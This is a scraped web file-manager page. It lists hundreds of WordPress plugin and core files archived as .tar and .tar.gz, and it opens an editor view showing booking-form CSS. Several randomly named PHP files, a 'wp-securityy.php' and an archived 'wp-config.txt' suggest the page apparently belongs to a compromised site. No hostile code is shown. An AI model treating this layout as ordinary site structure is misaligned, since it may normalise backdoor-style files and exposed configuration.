wp-compat.php.tar
5
KB
-rw-r--r--
wp-compat.php.tar.gz
1.13
KB
-rw-r--r--
wp-compat.tar
6
KB
-rw-r--r--
wp-compat.tar.gz
1.15
KB
-rw-r--r--
wp-config.txt.tar
5
KB
-rw-r--r--
wp-config.txt.tar.gz
1.85
KB
-rw-r--r--
wp-content.zip
427.71
MB
-rw-r--r--
wp-custom-header.js.tar
12
KB
-rw-r--r--
wp-custom-header.js.tar.gz
2.97
KB
-rw-r--r--
wp-custom-header.min.js.tar
6
KB
-rw-r--r--
wp-custom-header.min.js.tar.gz
1.67
KB
-rw-r--r--
wp-diff.php.tar
2.5
KB
-rw-r--r--
wp-diff.php.tar.gz
398
B
-rw-r--r--
wp-downgrade-de_DE.mo.tar
6
KB
-rw-r--r--
wp-downgrade-de_DE.mo.tar.gz
2.38
KB
-rw-r--r--
wp-downgrade-de_DE.po.tar
7
KB
-rw-r--r--
wp-downgrade-de_DE.po.tar.gz
2.32
KB
-rw-r--r--
wp-downgrade-es_ES.mo.tar
6.5
KB
-rw-r--r--
wp-downgrade-es_ES.mo.tar.gz
2.35
KB
-rw-r--r--
wp-downgrade-es_ES.po.tar
7
KB
-rw-r--r--
wp-downgrade-es_ES.po.tar.gz
2.28
KB
-rw-r--r--
wp-downgrade-fr_FR.mo.tar
6.5
KB
-rw-r--r--
wp-downgrade-fr_FR.mo.tar.gz
2.38
KB
-rw-r--r--
wp-downgrade-fr_FR.po.tar
7
KB
-rw-r--r--
wp-downgrade-fr_FR.po.tar.gz
2.33
KB
-rw-r--r--
wp-downgrade-nl_NL.mo.tar
6
KB
-rw-r--r--
wp-downgrade-nl_NL.mo.tar.gz
2.26
KB
-rw-r--r--
wp-downgrade-nl_NL.po.tar
7
KB
-rw-r--r--
wp-downgrade-nl_NL.po.tar.gz
2.19
KB
-rw-r--r--
wp-downgrade.php.tar
13.5
KB
-rw-r--r--
wp-downgrade.php.tar.gz
3.75
KB
-rw-r--r--
wp-downgrade.tar
128
KB
-rw-r--r--
wp-downgrade.tar.gz
89.18
KB
-rw-r--r--
wp-embed-template-ie.css.tar
3
KB
-rw-r--r--
wp-embed-template-ie.css.tar.g...
878
B
-rw-r--r--
wp-embed-template-ie.min.css.t...
3
KB
-rw-r--r--
wp-embed-template-ie.min.css.t...
902
B
-rw-r--r--
wp-embed-template.js.tar
8.5
KB
-rw-r--r--
wp-embed-template.js.tar.gz
1.93
KB
-rw-r--r--
wp-embed-template.min.css.tar
8.5
KB
-rw-r--r--
wp-embed-template.min.css.tar....
2.02
KB
-rw-r--r--
wp-embed.js.tar
5.5
KB
-rw-r--r--
wp-embed.js.tar.gz
1.59
KB
-rw-r--r--
wp-embed.min.js.tar
3.5
KB
-rw-r--r--
wp-embed.min.js.tar.gz
942
B
-rw-r--r--
wp-emoji-loader.js.tar
9
KB
-rw-r--r--
wp-emoji-loader.js.tar.gz
2.47
KB
-rw-r--r--
wp-emoji-loader.min.js.tar
3.5
KB
-rw-r--r--
wp-emoji-loader.min.js.tar.gz
942
B
-rw-r--r--
wp-emoji.js.tar
10.5
KB
-rw-r--r--
wp-emoji.js.tar.gz
3.44
KB
-rw-r--r--
wp-file-manager-pro.tar
2.5
KB
-rw-r--r--
wp-file-manager-pro.tar.gz
192
B
-rw-r--r--
wp-file-manager.tar
17.17
MB
-rw-r--r--
wp-file-manager.tar.gz
5.73
MB
-rw-r--r--
wp-icon.png.tar
2.5
KB
-rw-r--r--
wp-icon.png.tar.gz
819
B
-rw-r--r--
wp-includes.zip
417.88
MB
-rw-r--r--
wp-langs-en.js.tar
17
KB
-rw-r--r--
wp-langs-en.js.tar.gz
5.43
KB
-rw-r--r--
wp-list-revisions.js.tar
2.5
KB
-rw-r--r--
wp-list-revisions.js.tar.gz
543
B
-rw-r--r--
wp-list-revisions.min.js.tar
2.5
KB
-rw-r--r--
wp-list-revisions.min.js.tar.g...
467
B
-rw-r--r--
wp-lists.js.tar
26.5
KB
-rw-r--r--
wp-lists.js.tar.gz
5.37
KB
-rw-r--r--
wp-lists.min.js.tar
9
KB
-rw-r--r--
wp-lists.min.js.tar.gz
2.58
KB
-rw-r--r--
wp-login.php
5.62
KB
-rw-r--r--
wp-mediaelement.css.tar
6.5
KB
-rw-r--r--
wp-mediaelement.css.tar.gz
1.35
KB
-rw-r--r--
wp-mediaelement.min.css.tar
6
KB
-rw-r--r--
wp-mediaelement.min.css.tar.gz
1.23
KB
-rw-r--r--
wp-playlist.min.js.tar
5
KB
-rw-r--r--
wp-playlist.min.js.tar.gz
1.21
KB
-rw-r--r--
wp-plupload.min.js.tar
7.5
KB
-rw-r--r--
wp-plupload.min.js.tar.gz
2.38
KB
-rw-r--r--
wp-polyfill-dom-rect.js.tar
3.5
KB
-rw-r--r--
wp-polyfill-dom-rect.js.tar.gz
654
B
-rw-r--r--
wp-polyfill-fetch.js.tar
19.5
KB
-rw-r--r--
wp-polyfill-fetch.js.tar.gz
4.95
KB
-rw-r--r--
wp-polyfill-fetch.min.js.tar
11
KB
-rw-r--r--
wp-polyfill-fetch.min.js.tar.g...
3.23
KB
-rw-r--r--
wp-polyfill-formdata.js.tar
13.5
KB
-rw-r--r--
wp-polyfill-formdata.js.tar.gz
3.61
KB
-rw-r--r--
wp-polyfill-formdata.min.js.ta...
10.5
KB
-rw-r--r--
wp-polyfill-formdata.min.js.ta...
3.2
KB
-rw-r--r--
wp-polyfill-object-fit.js.tar
10.5
KB
-rw-r--r--
wp-polyfill-object-fit.js.tar....
2.88
KB
-rw-r--r--
wp-polyfill-url.js.tar
109.5
KB
-rw-r--r--
wp-polyfill-url.js.tar.gz
23.65
KB
-rw-r--r--
wp-polyfill.js.tar
62
KB
-rw-r--r--
wp-polyfill.js.tar.gz
13.44
KB
-rw-r--r--
wp-polyfill.min.js.tar
19
KB
-rw-r--r--
wp-polyfill.min.js.tar.gz
6.5
KB
-rw-r--r--
wp-sanitize.js.tar
3
KB
-rw-r--r--
wp-sanitize.js.tar.gz
688
B
-rw-r--r--
wp-sanitize.min.js.tar
2
KB
-rw-r--r--
wp-sanitize.min.js.tar.gz
383
B
-rw-r--r--
wp-security-helper.tar
5.5
KB
-rw-r--r--
wp-security-helper.tar.gz
1.56
KB
-rw-r--r--
wp-securityy.php.tar
5
KB
-rw-r--r--
wp-securityy.php.tar.gz
1.21
KB
-rw-r--r--
wp-tinymce.js.tar
657.5
KB
-rw-r--r--
wp-tinymce.js.tar.gz
216.64
KB
-rw-r--r--
wp-util.js.tar
6.5
KB
-rw-r--r--
wp-util.js.tar.gz
1.8
KB
-rw-r--r--
wp-util.min.js.tar
3
KB
-rw-r--r--
wp-util.min.js.tar.gz
866
B
-rw-r--r--
wp-watermark.png.tar
4
KB
-rw-r--r--
wp-watermark.png.tar.gz
2.47
KB
-rw-r--r--
wp-whatsapp-chat-de_DE.mo.tar
3.5
KB
-rw-r--r--
wp-whatsapp-chat-de_DE.mo.tar....
1.1
KB
-rw-r--r--
wp-whatsapp-chat-de_DE.po.tar
6
KB
-rw-r--r--
wp-whatsapp-chat-de_DE.po.tar....
1.29
KB
-rw-r--r--
wp-whatsapp-chat-es_ES.mo.tar
4.5
KB
-rw-r--r--
wp-whatsapp-chat-es_ES.mo.tar....
1.71
KB
-rw-r--r--
wp-whatsapp-chat-es_ES.po.tar
8
KB
-rw-r--r--
wp-whatsapp-chat-es_ES.po.tar....
1.91
KB
-rw-r--r--
wp-whatsapp-chat-fr_FR.mo.tar
4.5
KB
-rw-r--r--
wp-whatsapp-chat-fr_FR.mo.tar....
1.71
KB
-rw-r--r--
wp-whatsapp-chat-nl_NL.mo.tar
8
KB
-rw-r--r--
wp-whatsapp-chat-nl_NL.mo.tar....
3.2
KB
-rw-r--r--
wp-whatsapp-chat-nl_NL.po.tar
13.5
KB
-rw-r--r--
wp-whatsapp-chat-nl_NL.po.tar....
3.43
KB
-rw-r--r--
wp-whatsapp-chat.tar
1.17
MB
-rw-r--r--
wp-whatsapp-chat.tar.gz
369.13
KB
-rw-r--r--
wpautoresize.tar
10.5
KB
-rw-r--r--
wpautoresize.tar.gz
2.73
KB
-rw-r--r--
wpautoresize.zip
8.42
KB
-rw-r--r--
wpbc-activation.php.tar
94.5
KB
-rw-r--r--
wpbc-activation.php.tar.gz
15.31
KB
-rw-r--r--
wpbc-ajax.php.tar
20.5
KB
-rw-r--r--
wpbc-ajax.php.tar.gz
4.02
KB
-rw-r--r--
wpbc-core.php.tar
10
KB
-rw-r--r--
wpbc-core.php.tar.gz
1.94
KB
-rw-r--r--
wpbc-cron.php.tar
16
KB
-rw-r--r--
wpbc-cron.php.tar.gz
3.26
KB
-rw-r--r--
wpbc-css.php.tar
16.5
KB
-rw-r--r--
wpbc-css.php.tar.gz
3.34
KB
-rw-r--r--
wpbc-dates.php.tar
35.5
KB
-rw-r--r--
wpbc-dates.php.tar.gz
8.24
KB
-rw-r--r--
wpbc-debug.php.tar
11.5
KB
-rw-r--r--
wpbc-debug.php.tar.gz
3.01
KB
-rw-r--r--
wpbc-dev-api.php.tar
39
KB
-rw-r--r--
wpbc-dev-api.php.tar.gz
8.06
KB
-rw-r--r--
wpbc-emails.php.tar
29.5
KB
-rw-r--r--
wpbc-emails.php.tar.gz
6.09
KB
-rw-r--r--
wpbc-gcal.php.tar
20
KB
-rw-r--r--
wpbc-gcal.php.tar.gz
2.96
KB
-rw-r--r--
wpbc-gutenberg.js.tar
65.5
KB
-rw-r--r--
wpbc-gutenberg.js.tar.gz
8.45
KB
-rw-r--r--
wpbc-include.php.tar
16.5
KB
-rw-r--r--
wpbc-include.php.tar.gz
3.03
KB
-rw-r--r--
wpbc-js-vars.php.tar
12
KB
-rw-r--r--
wpbc-js-vars.php.tar.gz
2.77
KB
-rw-r--r--
wpbc-js.php.tar
20
KB
-rw-r--r--
wpbc-js.php.tar.gz
5.1
KB
-rw-r--r--
wpbc-sql.php.tar
59.5
KB
-rw-r--r--
wpbc-sql.php.tar.gz
9.79
KB
-rw-r--r--
wpbc-translation.php.tar
63
KB
-rw-r--r--
wpbc-translation.php.tar.gz
12.72
KB
-rw-r--r--
wpbc.js.tar
20.5
KB
-rw-r--r--
wpbc.js.tar.gz
3.04
KB
-rw-r--r--
wpbc.php.tar
29.5
KB
-rw-r--r--
wpbc.php.tar.gz
6.27
KB
-rw-r--r--
wpbc.tar
20.5
KB
-rw-r--r--
wpbc.tar.gz
3.01
KB
-rw-r--r--
wpbc_all.js.tar
801
KB
-rw-r--r--
wpbc_all.js.tar.gz
73.12
KB
-rw-r--r--
wpbc_functions.php.tar
154
KB
-rw-r--r--
wpbc_functions.php.tar.gz
33.21
KB
-rw-r--r--
wpbc_time-selector.js.tar
5.5
KB
-rw-r--r--
wpbc_time-selector.js.tar.gz
1.29
KB
-rw-r--r--
wpbc_times.js.tar
23.5
KB
-rw-r--r--
wpbc_times.js.tar.gz
5.4
KB
-rw-r--r--
wpbc_tinymce_btn.js.tar
4
KB
-rw-r--r--
wpbc_tinymce_btn.js.tar.gz
962
B
-rw-r--r--
wpbc_ui_both.css.tar
8.5
KB
-rw-r--r--
wpbc_ui_both.css.tar.gz
1.13
KB
-rw-r--r--
wpdev-booking.php.tar
6
KB
-rw-r--r--
wpdev-booking.php.tar.gz
1.54
KB
-rw-r--r--
wpdialog.js.tar
2.5
KB
-rw-r--r--
wpdialog.js.tar.gz
439
B
-rw-r--r--
wpdialog.min.js.tar
2
KB
-rw-r--r--
wpdialog.min.js.tar.gz
306
B
-rw-r--r--
wpdialogs.tar
6
KB
-rw-r--r--
wpdialogs.tar.gz
1.43
KB
-rw-r--r--
wpeditimage.tar
39.5
KB
-rw-r--r--
wpeditimage.tar.gz
10.5
KB
-rw-r--r--
wpgallery.tar
7.5
KB
-rw-r--r--
wpgallery.tar.gz
1.7
KB
-rw-r--r--
wpicons-2x.png.tar
16.5
KB
-rw-r--r--
wpicons-2x.png.tar.gz
14.38
KB
-rw-r--r--
wpicons.png.tar
8.5
KB
-rw-r--r--
wpicons.png.tar.gz
7.03
KB
-rw-r--r--
wplink.js.tar
22.5
KB
-rw-r--r--
wplink.js.tar.gz
5.94
KB
-rw-r--r--
wplink.min.js.tar
12.5
KB
-rw-r--r--
wplink.min.js.tar.gz
3.89
KB
-rw-r--r--
wplink.zip
26.14
KB
-rw-r--r--
wpml-config.xml.tar
8.5
KB
-rw-r--r--
wpml-config.xml.tar.gz
0
B
-rw-r--r--
wpspin-1x.gif.tar
22
KB
-rw-r--r--
wpspin-1x.gif.tar.gz
8.12
KB
-rw-r--r--
wpspin-2x.gif.tar
10.5
KB
-rw-r--r--
wpspin-2x.gif.tar.gz
8.1
KB
-rw-r--r--
wpspin.gif.tar
4
KB
-rw-r--r--
wpspin.gif.tar.gz
1.86
KB
-rw-r--r--
wpspin_light-2x.gif.tar
10.5
KB
-rw-r--r--
wpspin_light-2x.gif.tar.gz
8.1
KB
-rw-r--r--
wpspin_light.gif.tar
4
KB
-rw-r--r--
wpspin_light.gif.tar.gz
1.86
KB
-rw-r--r--
wpview.tar
11
KB
-rw-r--r--
wpview.tar.gz
2.85
KB
-rw-r--r--
wrapper.php.tar
8
KB
-rw-r--r--
wrapper.php.tar.gz
1.4
KB
-rw-r--r--
ws.png.tar
2.5
KB
-rw-r--r--
ws.png.tar.gz
909
B
-rw-r--r--
xdiff.php.tar
4
KB
-rw-r--r--
xdiff.php.tar.gz
1.01
KB
-rw-r--r--
xfn.js.tar
2.5
KB
-rw-r--r--
xfn.js.tar.gz
488
B
-rw-r--r--
xfn.min.js.tar
2
KB
-rw-r--r--
xfn.min.js.tar.gz
380
B
-rw-r--r--
xh.png.tar
9
KB
-rw-r--r--
xh.png.tar.gz
756
B
-rw-r--r--
xh.svg.tar
2.5
KB
-rw-r--r--
xh.svg.tar.gz
624
B
-rw-r--r--
xit-2x.gif.tar
4
KB
-rw-r--r--
xit-2x.gif.tar.gz
806
B
-rw-r--r--
xit-3x.gif.tar
22
KB
-rw-r--r--
xit-3x.gif.tar.gz
8.12
KB
-rw-r--r--
xit.gif.tar
3
KB
-rw-r--r--
xit.gif.tar.gz
304
B
-rw-r--r--
xk.png.tar
2.5
KB
-rw-r--r--
xk.png.tar.gz
668
B
-rw-r--r--
xygdzobf.php.tar
2
KB
-rw-r--r--
xygdzobf.php.tar.gz
198
B
-rw-r--r--
yak.php.tar
23.5
KB
-rw-r--r--
yak.php.tar.gz
9.48
KB
-rw-r--r--
ydjzxfnq.php.tar
5
KB
-rw-r--r--
ydjzxfnq.php.tar.gz
907
B
-rw-r--r--
ye.png.tar
2
KB
-rw-r--r--
ye.png.tar.gz
580
B
-rw-r--r--
yes.png.tar
2.5
KB
-rw-r--r--
yes.png.tar.gz
689
B
-rw-r--r--
yi.png.tar
6
KB
-rw-r--r--
yi.png.tar.gz
1.27
KB
-rw-r--r--
yi.svg.tar
2.5
KB
-rw-r--r--
yi.svg.tar.gz
642
B
-rw-r--r--
ym-fast-seo.php.tar
3.5
KB
-rw-r--r--
ym-fast-seo.php.tar.gz
796
B
-rw-r--r--
yo.png.tar
6.5
KB
-rw-r--r--
yo.png.tar.gz
799
B
-rw-r--r--
yo.svg.tar
2
KB
-rw-r--r--
yo.svg.tar.gz
299
B
-rw-r--r--
yt.png.tar
2.5
KB
-rw-r--r--
yt.png.tar.gz
1.13
KB
-rw-r--r--
za.png.tar
2.5
KB
-rw-r--r--
za.png.tar.gz
1.06
KB
-rw-r--r--
zh-CN.png.tar
7
KB
-rw-r--r--
zh-CN.png.tar.gz
961
B
-rw-r--r--
zh-CN.svg.tar
2
KB
-rw-r--r--
zh-CN.svg.tar.gz
397
B
-rw-r--r--
zh-TW.png.tar
7
KB
-rw-r--r--
zh-TW.png.tar.gz
612
B
-rw-r--r--
zh-TW.svg.tar
3
KB
-rw-r--r--
zh-TW.svg.tar.gz
706
B
-rw-r--r--
zh.js.tar
2.5
KB
-rw-r--r--
zh.js.tar.gz
638
B
-rw-r--r--
zh_TW.tar
227
KB
-rw-r--r--
zh_TW.tar.gz
50.55
KB
-rw-r--r--
zhxvgqei.php.tar
2
KB
-rw-r--r--
zhxvgqei.php.tar.gz
153
B
-rw-r--r--
zigzag.svg.tar
4.5
KB
-rw-r--r--
zigzag.svg.tar.gz
495
B
-rw-r--r--
zm.png.tar
2.5
KB
-rw-r--r--
zm.png.tar.gz
958
B
-rw-r--r--
zoom.svg.tar
6
KB
-rw-r--r--
zoom.svg.tar.gz
768
B
-rw-r--r--
zu.png.tar
9
KB
-rw-r--r--
zu.png.tar.gz
758
B
-rw-r--r--
zu.svg.tar
2.5
KB
-rw-r--r--
zu.svg.tar.gz
625
B
-rw-r--r--
zvoacxwk.php.tar
70
KB
-rw-r--r--
zvoacxwk.php.tar.gz
20.5
KB
-rw-r--r--
zw.png.tar
2.5
KB
-rw-r--r--
zw.png.tar.gz
1018
B
-rw-r--r--
zxcvbn-async.js.tar
2.5
KB
-rw-r--r--
zxcvbn-async.js.tar.gz
529
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : _src.tar
wpbc_fe__form_fields.css 0000666 00000106542 15165311647 0011420 0 ustar 00 /** * Booking Form Fields * * //FixIn: 10.1.5.7 */ :root { --wpbc_form-field-border-radius: 3px; --wpbc_form-field-border-style: solid; --wpbc_form-field-border-size: 1px; --wpbc_form-field-background-color: #ffffff; --wpbc_form-field-border-color: rgba(0, 0, 0, 0.25); --wpbc_form-field-border-color-spare: rgba(0, 0, 0, 0.25); --wpbc_form-field-text-color: rgba(0, 0, 0, 0.7); --wpbc_form-field-disabled-color: rgba(0, 0, 0, 0.2); --wpbc_form-select-bg-img: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m2 5 6 6 6-6'/%3e%3c/svg%3e"); --wpbc_form-field-menu-color: #ffffff; --wpbc_form-label-color: rgba(0, 0, 0, 0.85); --wpbc_form-label-sublabel-color: rgba(0, 0, 0, 0.55); --wpbc_form-label-error-color: #d63637; --wpbc_form-button-border-radius: 3px; --wpbc_form-button-border-style: none; --wpbc_form-button-border-size: 1px; --wpbc_form-button-background-color: #066aab; --wpbc_form-button-background-color-alt: #066aab; --wpbc_form-button-border-color: #066aab; --wpbc_form-button-text-color: #ffffff; --wpbc_form-button-text-color-alt: #fff; --wpbc_form-page-break-color: #066aab; --wpbc_form-background-image: none; --wpbc_form-background-position: center center; --wpbc_form-background-repeat: no-repeat; --wpbc_form-background-size: cover; --wpbc_form-background-width: 100px; --wpbc_form-background-height: 100px; --wpbc_form-background-color: rgba(0, 0, 0, 0); --wpbc_form-background-url: none; --wpbc_form-container-padding: 0px; --wpbc_form-container-border-style: none; --wpbc_form-container-border-width: 1px; --wpbc_form-container-border-color: #000000; --wpbc_form-container-border-radius: 3px; --wpbc_form-field-size-input-height: 43px; --wpbc_form-field-size-input-spacing: 15px; --wpbc_form-field-size-font-size: 16px; --wpbc_form-field-size-line-height: 19px; --wpbc_form-field-size-padding-h: 14px; --wpbc_form-field-size-checkbox-size: 16px; --wpbc_form-field-size-sublabel-spacing: 5px; --wpbc_form-field-size-icon-size: 1; --wpbc_form-label-size-font-size: 16px; --wpbc_form-label-size-line-height: 19px; --wpbc_form-label-size-sublabel-font-size: 14px; --wpbc_form-label-size-sublabel-line-height: 17px; --wpbc_form-button-size-font-size: 17px; --wpbc_form-button-size-height: 41px; --wpbc_form-button-size-padding-h: 15px; --wpbc_form-button-size-margin-top: 10px; --wpbc_form-container-shadow-size-box-shadow: none; --wpbc_form-marging-between-several-checkbox-radio: 30px; --wpbc_form-padding-between-label-checkbox-radio: 8px; } /* --------------------------------------------------------------------------------------------------------------------- * General Fields * ------------------------------------------------------------------------------------------------------------------ */ div.wpbc_container.wpbc_form input, div.wpbc_container.wpbc_form label, div.wpbc_container.wpbc_form select, div.wpbc_container.wpbc_form button, div.wpbc_container.wpbc_form textarea { margin:0; border:0; padding:0; vertical-align:middle; background:none; height:auto; box-sizing:border-box } div.wpbc_container.wpbc_form input[type=date], div.wpbc_container.wpbc_form input[type=datetime], div.wpbc_container.wpbc_form input[type=datetime-local], div.wpbc_container.wpbc_form input[type=email], div.wpbc_container.wpbc_form input[type=month], div.wpbc_container.wpbc_form input[type=number], div.wpbc_container.wpbc_form input[type=password], div.wpbc_container.wpbc_form input[type=range], div.wpbc_container.wpbc_form input[type=search], div.wpbc_container.wpbc_form input[type=tel], div.wpbc_container.wpbc_form input[type=text], div.wpbc_container.wpbc_form input[type=time], div.wpbc_container.wpbc_form input[type=url], div.wpbc_container.wpbc_form input[type=week], div.wpbc_container.wpbc_form select, div.wpbc_container.wpbc_form textarea, .wp-core-ui div.wpbc_container.wpbc_form input[type=date], .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime], .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime-local], .wp-core-ui div.wpbc_container.wpbc_form input[type=email], .wp-core-ui div.wpbc_container.wpbc_form input[type=month], .wp-core-ui div.wpbc_container.wpbc_form input[type=number], .wp-core-ui div.wpbc_container.wpbc_form input[type=password], .wp-core-ui div.wpbc_container.wpbc_form input[type=range], .wp-core-ui div.wpbc_container.wpbc_form input[type=search], .wp-core-ui div.wpbc_container.wpbc_form input[type=tel], .wp-core-ui div.wpbc_container.wpbc_form input[type=text], .wp-core-ui div.wpbc_container.wpbc_form input[type=time], .wp-core-ui div.wpbc_container.wpbc_form input[type=url], .wp-core-ui div.wpbc_container.wpbc_form input[type=week], .wp-core-ui div.wpbc_container.wpbc_form select, .wp-core-ui div.wpbc_container.wpbc_form textarea { background-color: var(--wpbc_form-field-background-color); background-clip: padding-box; border-radius: var(--wpbc_form-field-border-radius); color: var(--wpbc_form-field-text-color); border-width: var(--wpbc_form-field-border-size); border-style: var(--wpbc_form-field-border-style); border-color: var(--wpbc_form-field-border-color); padding: 0 var(--wpbc_form-field-size-padding-h); font-size: var(--wpbc_form-field-size-font-size); line-height: 100%; box-shadow: none; transition: border 0.15s, box-shadow 0.15s; } div.wpbc_container.wpbc_form input[type=date]:focus, div.wpbc_container.wpbc_form input[type=datetime]:focus, div.wpbc_container.wpbc_form input[type=datetime-local]:focus, div.wpbc_container.wpbc_form input[type=email]:focus, div.wpbc_container.wpbc_form input[type=month]:focus, div.wpbc_container.wpbc_form input[type=number]:focus, div.wpbc_container.wpbc_form input[type=password]:focus, div.wpbc_container.wpbc_form input[type=range]:focus, div.wpbc_container.wpbc_form input[type=search]:focus, div.wpbc_container.wpbc_form input[type=tel]:focus, div.wpbc_container.wpbc_form input[type=text]:focus, div.wpbc_container.wpbc_form input[type=time]:focus, div.wpbc_container.wpbc_form input[type=url]:focus, div.wpbc_container.wpbc_form input[type=week]:focus, div.wpbc_container.wpbc_form select:focus, div.wpbc_container.wpbc_form textarea:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=date]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime-local]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=email]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=month]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=number]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=password]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=range]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=search]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=tel]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=text]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=time]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=url]:focus, .wp-core-ui div.wpbc_container.wpbc_form input[type=week]:focus, .wp-core-ui div.wpbc_container.wpbc_form select:focus, .wp-core-ui div.wpbc_container.wpbc_form textarea:focus { border-width: var(--wpbc_form-field-border-size); border-style: solid; border-color: var(--wpbc_form-button-background-color); box-shadow: 0 0 0 1.2px var(--wpbc_form-button-background-color), 0px 1px 2px rgba(0, 0, 0, 0.15); outline: none; } div.wpbc_container.wpbc_form input[type=date]:focus:invalid, div.wpbc_container.wpbc_form input[type=datetime]:focus:invalid, div.wpbc_container.wpbc_form input[type=datetime-local]:focus:invalid, div.wpbc_container.wpbc_form input[type=email]:focus:invalid, div.wpbc_container.wpbc_form input[type=month]:focus:invalid, div.wpbc_container.wpbc_form input[type=number]:focus:invalid, div.wpbc_container.wpbc_form input[type=password]:focus:invalid, div.wpbc_container.wpbc_form input[type=range]:focus:invalid, div.wpbc_container.wpbc_form input[type=search]:focus:invalid, div.wpbc_container.wpbc_form input[type=tel]:focus:invalid, div.wpbc_container.wpbc_form input[type=text]:focus:invalid, div.wpbc_container.wpbc_form input[type=time]:focus:invalid, div.wpbc_container.wpbc_form input[type=url]:focus:invalid, div.wpbc_container.wpbc_form input[type=week]:focus:invalid, div.wpbc_container.wpbc_form select:focus:invalid, div.wpbc_container.wpbc_form textarea:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=date]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime-local]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=email]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=month]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=number]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=password]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=range]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=search]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=tel]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=text]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=time]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=url]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form input[type=week]:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form select:focus:invalid, .wp-core-ui div.wpbc_container.wpbc_form textarea:focus:invalid { border-width: var(--wpbc_form-field-border-size); border-style: solid; border-color: var(--wpbc_form-button-background-color); box-shadow: 0 0 0 1.2px var(--wpbc_form-button-background-color), 0px 1px 2px rgba(0, 0, 0, 0.15); outline: none; color: var(--wpbc_form-field-text-color); } div.wpbc_container.wpbc_form input[type=date]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=datetime]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=datetime-local]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=email]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=month]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=number]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=password]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=range]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=search]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=tel]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=text]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=time]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=url]::-webkit-input-placeholder, div.wpbc_container.wpbc_form input[type=week]::-webkit-input-placeholder, div.wpbc_container.wpbc_form select::-webkit-input-placeholder, div.wpbc_container.wpbc_form textarea::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=date]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=datetime-local]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=email]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=month]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=number]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=password]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=range]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=search]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=tel]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=text]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=time]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=url]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form input[type=week]::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form select::-webkit-input-placeholder, .wp-core-ui div.wpbc_container.wpbc_form textarea::-webkit-input-placeholder { color: var(--wpbc_form-field-text-color); opacity: 0.5; pointer-events: none; } div.wpbc_container.wpbc_form input[type=date]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=datetime]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=datetime-local]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=email]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=month]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=number]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=password]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=range]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=search]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=tel]::-moz-placeholder, div.wpbc_container.wpbc_form input[type=text]::-moz-placeholder, div.wpbc_container.wpbc_form 